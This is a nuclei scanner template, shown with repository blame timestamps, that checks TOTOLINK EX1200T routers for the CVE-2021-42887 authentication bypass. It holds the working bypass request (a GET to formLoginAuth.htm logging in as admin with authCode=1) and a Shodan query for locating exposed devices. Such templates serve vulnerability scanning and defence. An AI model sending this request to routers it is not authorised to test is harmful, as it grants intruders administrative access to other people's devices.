nuclei-templates/http/cves/2021/CVE-2021-42887.yaml

50 lines
1.4 KiB
YAML
Raw Normal View History

id: CVE-2021-42887
info:
name: TOTOLINK EX1200T 4.1.2cu.5215 - Authentication Bypass
author: gy741
severity: critical
description: |
TOTOLINK EX1200T 4.1.2cu.5215 is susceptible to authentication bypass. An attacker can bypass login by sending a specific request through formLoginAuth.htm, thus potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
reference:
- https://github.com/p1Kk/vuln/blob/main/totolink_ex1200t_login_bypass.md
- https://nvd.nist.gov/vuln/detail/cve-2021-42887
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-42887
cwe-id: CWE-287
2023-07-11 19:49:27 +00:00
epss-score: 0.01788
cpe: cpe:2.3:o:totolink:ex1200t_firmware:4.1.2cu.5215:*:*:*:*:*:*:*
2022-12-22 10:58:41 +00:00
metadata:
max-request: 2
2022-12-22 10:58:41 +00:00
shodan-query: title:"TOTOLINK"
2023-07-11 19:49:27 +00:00
vendor: totolink
product: ex1200t_firmware
tags: totolink,auth-bypass,cve,cve2021,router
http:
- raw:
2022-12-22 10:58:41 +00:00
- |
GET /login.htm HTTP/1.1
Host: {{Hostname}}
- |
2022-12-22 10:50:09 +00:00
GET /formLoginAuth.htm?authCode=1&userName=admin&goURL=&action=login HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
2022-12-22 10:58:41 +00:00
part: body_1
words:
2022-12-22 11:01:06 +00:00
- "TOTOLINK"
2022-12-22 10:58:41 +00:00
- type: word
part: header_2
words:
- "Set-Cookie: SESSION_ID="
- type: status
status:
- 302